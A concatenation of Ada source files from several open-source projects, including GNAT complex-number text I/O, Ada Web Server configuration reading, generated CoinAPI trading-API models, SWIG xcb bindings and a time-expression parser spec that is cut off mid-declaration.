-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Text_IO.Generic_Aux; use Ada.Text_IO.Generic_Aux;
package body Ada.Text_IO.Complex_Aux is
---------
-- Get --
---------
procedure Get
(File : File_Type;
ItemR : out Num;
ItemI : out Num;
Width : Field)
is
Buf : String (1 .. Field'Last);
Stop : Integer := 0;
Ptr : aliased Integer;
Paren : Boolean := False;
begin
-- General note for following code, exceptions from the calls to
-- Get for components of the complex value are propagated.
if Width /= 0 then
Load_Width (File, Width, Buf, Stop);
Gets (Buf (1 .. Stop), ItemR, ItemI, Ptr);
for J in Ptr + 1 .. Stop loop
if not Is_Blank (Buf (J)) then
raise Data_Error;
end if;
end loop;
-- Case of width = 0
else
Load_Skip (File);
Ptr := 0;
Load (File, Buf, Ptr, '(', Paren);
Aux.Get (File, ItemR, 0);
Load_Skip (File);
Load (File, Buf, Ptr, ',');
Aux.Get (File, ItemI, 0);
if Paren then
Load_Skip (File);
Load (File, Buf, Ptr, ')', Paren);
if not Paren then
raise Data_Error;
end if;
end if;
end if;
end Get;
----------
-- Gets --
----------
procedure Gets
(From : String;
ItemR : out Num;
ItemI : out Num;
Last : out Positive)
is
Paren : Boolean;
Pos : Integer;
begin
String_Skip (From, Pos);
if From (Pos) = '(' then
Pos := Pos + 1;
Paren := True;
else
Paren := False;
end if;
Aux.Gets (From (Pos .. From'Last), ItemR, Pos);
String_Skip (From (Pos + 1 .. From'Last), Pos);
if From (Pos) = ',' then
Pos := Pos + 1;
end if;
Aux.Gets (From (Pos .. From'Last), ItemI, Pos);
if Paren then
String_Skip (From (Pos + 1 .. From'Last), Pos);
if From (Pos) /= ')' then
raise Data_Error;
end if;
end if;
Last := Pos;
end Gets;
---------
-- Put --
---------
procedure Put
(File : File_Type;
ItemR : Num;
ItemI : Num;
Fore : Field;
Aft : Field;
Exp : Field)
is
begin
Put (File, '(');
Aux.Put (File, ItemR, Fore, Aft, Exp);
Put (File, ',');
Aux.Put (File, ItemI, Fore, Aft, Exp);
Put (File, ')');
end Put;
----------
-- Puts --
----------
procedure Puts
(To : out String;
ItemR : Num;
ItemI : Num;
Aft : Field;
Exp : Field)
is
I_String : String (1 .. 3 * Field'Last);
R_String : String (1 .. 3 * Field'Last);
Iptr : Natural;
Rptr : Natural;
begin
-- Both parts are initially converted with a Fore of 0
Rptr := 0;
Aux.Set_Image (ItemR, R_String, Rptr, 0, Aft, Exp);
Iptr := 0;
Aux.Set_Image (ItemI, I_String, Iptr, 0, Aft, Exp);
-- Check room for both parts plus parens plus comma (RM G.1.3(34))
if Rptr + Iptr + 3 > To'Length then
raise Layout_Error;
end if;
-- If there is room, layout result according to (RM G.1.3(31-33))
To (To'First) := '(';
To (To'First + 1 .. To'First + Rptr) := R_String (1 .. Rptr);
To (To'First + Rptr + 1) := ',';
To (To'Last) := ')';
To (To'Last - Iptr .. To'Last - 1) := I_String (1 .. Iptr);
for J in To'First + Rptr + 2 .. To'Last - Iptr - 1 loop
To (J) := ' ';
end loop;
end Puts;
end Ada.Text_IO.Complex_Aux;
|
stcarrez/ada-css | Ada | 1,157 | ads | -----------------------------------------------------------------------
-- css-core-vectors -- Vectors of CSSRule references
-- Copyright (C) 2017 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with CSS.Core.Refs;
with CSS.Core.Compare;
with Ada.Containers.Vectors;
package CSS.Core.Vectors is
new Ada.Containers.Vectors (Element_Type => CSS.Core.Refs.Ref,
Index_Type => Positive,
"=" => CSS.Core.Compare."=");
|
edin/raytracer | Ada | 259 | adb | --
-- Raytracer implementation in Ada
-- by John Perry (github: johnperry-math)
-- 2021
--
-- implementation for Rays
--
package body Rays is
function Create_Ray(start, dir: Vector) return Ray_Type is
( ( start => start, dir => dir ) );
end Rays;
|
jweese/Ada_Vent_19 | Ada | 939 | adb | with Ada.Containers.Vectors;
with Ada.IO_Exceptions;
package body Memory is
package IO is new Ada.Text_IO.Integer_IO(Value);
function Read_Comma_Separated(
From: File_Type := Standard_Input) return Block is
package Vec is new Ada.Containers.Vectors(
Index_type => Address, Element_Type => Value);
V: Vec.Vector := Vec.Empty_Vector;
Curr: Value;
Comma: Character;
begin
loop
IO.Get(From, Curr);
V.Append(Curr);
exit when Ada.Text_IO.End_Of_File(From);
Ada.Text_IO.Get(From, Comma);
if Comma /= ',' then
raise Ada.IO_Exceptions.Data_Error;
end if;
end loop;
declare
Result: Block(V.First_Index .. V.Last_Index);
begin
for Addr in Result'Range loop
Result(Addr) := V(Addr);
end loop;
return Result;
end;
end Read_Comma_Separated;
end Memory;
|
dendisuhubdy/coinapi-sdk | Ada | 18,958 | ads | -- OEML _ REST API
-- This section will provide necessary information about the `CoinAPI OEML REST API` protocol. This API is also available in the Postman application: <a href=\"https://postman.coinapi.io/\" target=\"_blank\">https://postman.coinapi.io/</a>
--
-- The version of the OpenAPI document: v1
-- Contact: [email protected]
--
-- NOTE: This package is auto generated by OpenAPI-Generator 4.3.1.
-- https://openapi-generator.tech
-- Do not edit the class manually.
with Swagger.Streams;
with Ada.Containers.Vectors;
package .Models is
type TimeInForce_Type is
record
end record;
package TimeInForce_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => TimeInForce_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in TimeInForce_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in TimeInForce_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out TimeInForce_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out TimeInForce_Type_Vectors.Vector);
type OrdSide_Type is
record
end record;
package OrdSide_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrdSide_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrdSide_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrdSide_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrdSide_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrdSide_Type_Vectors.Vector);
type OrderCancelSingleRequest_Type is
record
Exchange_Id : Swagger.UString;
Exchange_Order_Id : Swagger.Nullable_UString;
Client_Order_Id : Swagger.Nullable_UString;
end record;
package OrderCancelSingleRequest_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrderCancelSingleRequest_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderCancelSingleRequest_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderCancelSingleRequest_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderCancelSingleRequest_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderCancelSingleRequest_Type_Vectors.Vector);
type OrderCancelAllRequest_Type is
record
Exchange_Id : Swagger.UString;
end record;
package OrderCancelAllRequest_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrderCancelAllRequest_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderCancelAllRequest_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderCancelAllRequest_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderCancelAllRequest_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderCancelAllRequest_Type_Vectors.Vector);
type OrdStatus_Type is
record
end record;
package OrdStatus_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrdStatus_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrdStatus_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrdStatus_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrdStatus_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrdStatus_Type_Vectors.Vector);
type OrdType_Type is
record
end record;
package OrdType_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrdType_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrdType_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrdType_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrdType_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrdType_Type_Vectors.Vector);
type Severity_Type is
record
end record;
package Severity_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => Severity_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Severity_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Severity_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Severity_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Severity_Type_Vectors.Vector);
-- ------------------------------
-- Message object.
-- ------------------------------
type Message_Type is
record
P_Type : Swagger.Nullable_UString;
Severity : .Models.Severity_Type;
Exchange_Id : Swagger.Nullable_UString;
Message : Swagger.Nullable_UString;
end record;
package Message_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => Message_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Message_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Message_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Message_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Message_Type_Vectors.Vector);
type BalanceData_Type is
record
Asset_Id_Exchange : Swagger.Nullable_UString;
Asset_Id_Coinapi : Swagger.Nullable_UString;
Balance : float;
Available : float;
Locked : float;
Last_Updated_By : Swagger.Nullable_UString;
Rate_Usd : float;
end record;
package BalanceData_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => BalanceData_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in BalanceData_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in BalanceData_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out BalanceData_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out BalanceData_Type_Vectors.Vector);
type Balance_Type is
record
Exchange_Id : Swagger.Nullable_UString;
Data : .Models.BalanceData_Type_Vectors.Vector;
end record;
package Balance_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => Balance_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Balance_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Balance_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Balance_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Balance_Type_Vectors.Vector);
type OrderNewSingleRequest_Type is
record
Exchange_Id : Swagger.UString;
Client_Order_Id : Swagger.UString;
Symbol_Id_Exchange : Swagger.Nullable_UString;
Symbol_Id_Coinapi : Swagger.Nullable_UString;
Amount_Order : Swagger.Number;
Price : Swagger.Number;
Side : .Models.OrdSide_Type;
Order_Type : .Models.OrdType_Type;
Time_In_Force : .Models.TimeInForce_Type;
Expire_Time : Swagger.Nullable_Date;
Exec_Inst : Swagger.UString_Vectors.Vector;
end record;
package OrderNewSingleRequest_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrderNewSingleRequest_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderNewSingleRequest_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderNewSingleRequest_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderNewSingleRequest_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderNewSingleRequest_Type_Vectors.Vector);
type OrderExecutionReport_Type is
record
Exchange_Id : Swagger.UString;
Client_Order_Id : Swagger.UString;
Symbol_Id_Exchange : Swagger.Nullable_UString;
Symbol_Id_Coinapi : Swagger.Nullable_UString;
Amount_Order : Swagger.Number;
Price : Swagger.Number;
Side : .Models.OrdSide_Type;
Order_Type : .Models.OrdType_Type;
Time_In_Force : .Models.TimeInForce_Type;
Expire_Time : Swagger.Nullable_Date;
Exec_Inst : Swagger.UString_Vectors.Vector;
Client_Order_Id_Format_Exchange : Swagger.UString;
Exchange_Order_Id : Swagger.Nullable_UString;
Amount_Open : Swagger.Number;
Amount_Filled : Swagger.Number;
Status : .Models.OrdStatus_Type;
Time_Order : Swagger.UString_Vectors.Vector_Vectors.Vector;
Error_Message : Swagger.Nullable_UString;
end record;
package OrderExecutionReport_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrderExecutionReport_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderExecutionReport_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderExecutionReport_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderExecutionReport_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderExecutionReport_Type_Vectors.Vector);
type Position_Type is
record
Exchange_Id : Swagger.Nullable_UString;
Data : .Models.PositionData_Type_Vectors.Vector;
end record;
package Position_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => Position_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Position_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in Position_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Position_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out Position_Type_Vectors.Vector);
-- ------------------------------
-- JSON validation error.
-- ------------------------------
type ValidationError_Type is
record
P_Type : Swagger.Nullable_UString;
Title : Swagger.Nullable_UString;
Status : Swagger.Number;
Trace_Id : Swagger.Nullable_UString;
Errors : Swagger.Nullable_UString;
end record;
package ValidationError_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => ValidationError_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in ValidationError_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in ValidationError_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out ValidationError_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out ValidationError_Type_Vectors.Vector);
type OrderExecutionReportAllOf_Type is
record
Client_Order_Id_Format_Exchange : Swagger.UString;
Exchange_Order_Id : Swagger.Nullable_UString;
Amount_Open : Swagger.Number;
Amount_Filled : Swagger.Number;
Status : .Models.OrdStatus_Type;
Time_Order : Swagger.UString_Vectors.Vector_Vectors.Vector;
Error_Message : Swagger.Nullable_UString;
end record;
package OrderExecutionReportAllOf_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => OrderExecutionReportAllOf_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderExecutionReportAllOf_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in OrderExecutionReportAllOf_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderExecutionReportAllOf_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out OrderExecutionReportAllOf_Type_Vectors.Vector);
type PositionData_Type is
record
Symbol_Id_Exchange : Swagger.Nullable_UString;
Symbol_Id_Coinapi : Swagger.Nullable_UString;
Avg_Entry_Price : Swagger.Number;
Quantity : Swagger.Number;
Side : .Models.OrdSide_Type;
Unrealized_Pnl : Swagger.Number;
Leverage : Swagger.Number;
Cross_Margin : Swagger.Nullable_Boolean;
Liquidation_Price : Swagger.Number;
Raw_Data : Swagger.Object;
end record;
package PositionData_Type_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => PositionData_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in PositionData_Type);
procedure Serialize (Into : in out Swagger.Streams.Output_Stream'Class;
Name : in String;
Value : in PositionData_Type_Vectors.Vector);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out PositionData_Type);
procedure Deserialize (From : in Swagger.Value_Type;
Name : in String;
Value : out PositionData_Type_Vectors.Vector);
end .Models;
|
AdaCore/gpr | Ada | 326 | ads | --
-- Copyright (C) 2014-2022, AdaCore
-- SPDX-License-Identifier: Apache-2.0
--
with Gpr_Parser_Support.Adalog.Generic_Main_Support;
with Gpr_Parser_Support.Images;
package Gpr_Parser_Support.Adalog.Main_Support
is new Gpr_Parser_Support.Adalog.Generic_Main_Support
(Integer, Gpr_Parser_Support.Images.Stripped_Image);
|
charlie5/cBound | Ada | 1,751 | ads | -- This file is generated by SWIG. Please do not modify by hand.
--
with Interfaces;
with swig;
with Interfaces.C;
with Interfaces.C.Pointers;
package xcb.xcb_setup_request_t is
-- Item
--
type Item is record
byte_order : aliased Interfaces.Unsigned_8;
pad0 : aliased Interfaces.Unsigned_8;
protocol_major_version : aliased Interfaces.Unsigned_16;
protocol_minor_version : aliased Interfaces.Unsigned_16;
authorization_protocol_name_len : aliased Interfaces.Unsigned_16;
authorization_protocol_data_len : aliased Interfaces.Unsigned_16;
pad1 : aliased swig.int8_t_Array (0 .. 1);
end record;
-- Item_Array
--
type Item_Array is
array
(Interfaces.C.size_t range <>) of aliased xcb.xcb_setup_request_t.Item;
-- Pointer
--
package C_Pointers is new Interfaces.C.Pointers
(Index => Interfaces.C.size_t,
Element => xcb.xcb_setup_request_t.Item,
Element_Array => xcb.xcb_setup_request_t.Item_Array,
Default_Terminator => (others => <>));
subtype Pointer is C_Pointers.Pointer;
-- Pointer_Array
--
type Pointer_Array is
array
(Interfaces.C.size_t range <>) of aliased xcb.xcb_setup_request_t
.Pointer;
-- Pointer_Pointer
--
package C_Pointer_Pointers is new Interfaces.C.Pointers
(Index => Interfaces.C.size_t,
Element => xcb.xcb_setup_request_t.Pointer,
Element_Array => xcb.xcb_setup_request_t.Pointer_Array,
Default_Terminator => null);
subtype Pointer_Pointer is C_Pointer_Pointers.Pointer;
end xcb.xcb_setup_request_t;
|
zhmu/ananas | Ada | 79 | adb | -- { dg-do compile }
package body Access5 is
procedure Dummy is null;
end;
|
reznikmm/matreshka | Ada | 3,671 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Web Framework --
-- --
-- Tools Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2015, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Asis;
with Engines.Contexts;
with League.Strings;
package Properties.Expressions.String_Literal is
function Code
(Engine : access Engines.Contexts.Context;
Element : Asis.Expression;
Name : Engines.Text_Property) return League.Strings.Universal_String;
end Properties.Expressions.String_Literal;
|
AaronC98/PlaneSystem | Ada | 6,529 | adb | ------------------------------------------------------------------------------
-- Ada Web Server --
-- --
-- Copyright (C) 2000-2019, AdaCore --
-- --
-- This library is free software; you can redistribute it and/or modify --
-- it under terms of the GNU General Public License as published by the --
-- Free Software Foundation; either version 3, or (at your option) any --
-- later version. This library is distributed in the hope that it will be --
-- useful, but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- --
-- --
-- --
-- --
-- --
-- --
------------------------------------------------------------------------------
with Ada.Command_Line;
with Ada.Strings.Fixed;
with Ada.Strings.Maps;
with Ada.Text_IO;
with AWS.Config.Utils;
with AWS.Utils;
package body AWS.Config.Ini is
use Ada;
----------------------
-- Program_Ini_File --
----------------------
function Program_Ini_File (Full_Path : Boolean) return String is
Exec_Name : constant String := Command_Line.Command_Name;
Last : Natural;
First : Natural;
begin
First := Strings.Fixed.Index
(Exec_Name, Strings.Maps.To_Set ("/\"), Going => Strings.Backward);
if First = 0 then
First := Exec_Name'First;
else
First := First + 1;
end if;
Last := Strings.Fixed.Index
(Exec_Name (First .. Exec_Name'Last), ".", Strings.Backward);
if Last = 0 then
Last := Exec_Name'Last;
else
Last := Last - 1;
end if;
if Full_Path then
return AWS.Utils.Get_Program_Directory
& Exec_Name (First .. Last) & ".ini";
else
return Exec_Name (First .. Last) & ".ini";
end if;
end Program_Ini_File;
----------
-- Read --
----------
procedure Read
(Config : in out Object;
Filename : String)
is
procedure Raise_Error (Message : String);
-- Raise error message with filename and line number
function Error_Context return String;
-- Return the string with filename and line number
procedure Set_Value (Key : String; Value : String);
Line : Natural;
-- Current line number parsed
-------------------
-- Error_Message --
-------------------
function Error_Context return String is
begin
return '(' & Filename & ':' & AWS.Utils.Image (Line) & ") ";
end Error_Context;
-----------------
-- Raise_Error --
-----------------
procedure Raise_Error (Message : String) is
begin
raise Constraint_Error with Error_Context & Message;
end Raise_Error;
---------------
-- Set_Value --
---------------
procedure Set_Value (Key : String; Value : String) is
P : constant Parameter_Name := Utils.Value (Key, Error_Context);
begin
if P in Server_Parameter_Name then
Utils.Set_Parameter (Config.P, P, Value, Error_Context);
else
Utils.Set_Parameter (Process_Options, P, Value, Error_Context);
end if;
end Set_Value;
Separators : constant Strings.Maps.Character_Set :=
Strings.Maps.To_Set (' ' & ASCII.HT);
File : Text_IO.File_Type;
Buffer : String (1 .. 1024);
Last : Natural;
K_First : Natural;
K_Last : Natural;
begin
Text_IO.Open (Name => Filename,
File => File,
Mode => Text_IO.In_File,
Form => "shared=no");
Line := 0;
while not Text_IO.End_Of_File (File) loop
Text_IO.Get_Line (File, Buffer, Last);
Line := Line + 1;
-- Remove comments
for I in 1 .. Last loop
if Buffer (I) = '#' then
Last := I - 1;
exit;
end if;
end loop;
if Last /= 0 then
-- Looks for Key token
Strings.Fixed.Find_Token
(Buffer (1 .. Last), Separators, Strings.Outside,
K_First, K_Last);
if K_Last /= 0 then
declare
Key : constant String := Buffer (K_First .. K_Last);
Value : constant String :=
Strings.Fixed.Trim
(Buffer (K_Last + 1 .. Last),
Separators, Separators);
begin
if Value = "" then
Raise_Error ("No value for " & Key);
else
Set_Value (Key, Value);
end if;
end;
else
Raise_Error ("wrong format");
end if;
end if;
end loop;
Text_IO.Close (File);
exception
when others =>
if Text_IO.Is_Open (File) then
Text_IO.Close (File);
end if;
end Read;
end AWS.Config.Ini;
|
Letractively/ada-ado | Ada | 1,842 | ads | -----------------------------------------------------------------------
-- ado-utils -- Utility operations for ADO
-- Copyright (C) 2013 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Containers;
with Ada.Containers.Vectors;
with Util.Beans.Objects;
package ADO.Utils is
-- Build a bean object from the identifier.
function To_Object (Id : in ADO.Identifier) return Util.Beans.Objects.Object;
-- Build the identifier from the bean object.
function To_Identifier (Value : in Util.Beans.Objects.Object) return ADO.Identifier;
-- Compute the hash of the identifier.
function Hash (Key : in ADO.Identifier) return Ada.Containers.Hash_Type;
package Identifier_Vectors is
new Ada.Containers.Vectors (Index_Type => Positive,
Element_Type => ADO.Identifier,
"=" => "=");
subtype Identifier_Vector is Identifier_Vectors.Vector;
subtype Identifier_Cursor is Identifier_Vectors.Cursor;
-- Return the identifier list as a comma separated list of identifiers.
function To_Parameter_List (List : in Identifier_Vector) return String;
end ADO.Utils;
|
AaronC98/PlaneSystem | Ada | 2,581 | ads | ------------------------------------------------------------------------------
-- Ada Web Server --
-- --
-- Copyright (C) 2003-2012, AdaCore --
-- --
-- This library is free software; you can redistribute it and/or modify --
-- it under terms of the GNU General Public License as published by the --
-- Free Software Foundation; either version 3, or (at your option) any --
-- later version. This library is distributed in the hope that it will be --
-- useful, but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- --
-- --
-- --
-- --
-- --
-- --
------------------------------------------------------------------------------
with AWS.Templates;
function AWS.Status.Translate_Table
(Status : Data) return Templates.Translate_Table;
pragma Obsolescent ("Use AWS.Status.Translate_Set instead");
-- Returns a translate table with some status data. Here are a list of the
-- tags: PEERNAME, METHOD, URI, HTTP_VERSION, AUTH_MODE, SOAP_ACTION, PAYLOAD.
-- They correspond to the Status fields.
|
riccardo-bernardini/eugen | Ada | 3,448 | ads | with Symbolic_Expressions.Parsing;
package EU_Projects.Times.Time_Expressions.Parsing is
type Symbol_Table is private;
type Parameter_Count is private;
-- A Parameter_Count stores the spec of a function in terms of number
-- of accepted parameters. All the combinations are possible: no
-- parameter, an exact number of parameters, a range or any number of
-- parameters. To create a Parameter_Count you can use the constructors
-- Exactly, At_Least and Between or use the constants Any_Number or
-- No_Parameter.
--
function Exactly (N : Natural) return Parameter_Count;
function At_Least (N : Natural) return Parameter_Count;
function Between (Min, Max : Natural) return Parameter_Count;
Any_Number : constant Parameter_Count;
No_Parameter : constant Parameter_Count;
procedure Fill_With_Defaults (Container : in out Symbol_Table);
procedure Define_Variable (Container : in out Symbol_Table;
Name : Dotted_Identifier);
-- Declare a variable with the given name
procedure Define_Function (Container : in out Symbol_Table;
Name : Simple_Identifier;
N_Params : Parameter_Count);
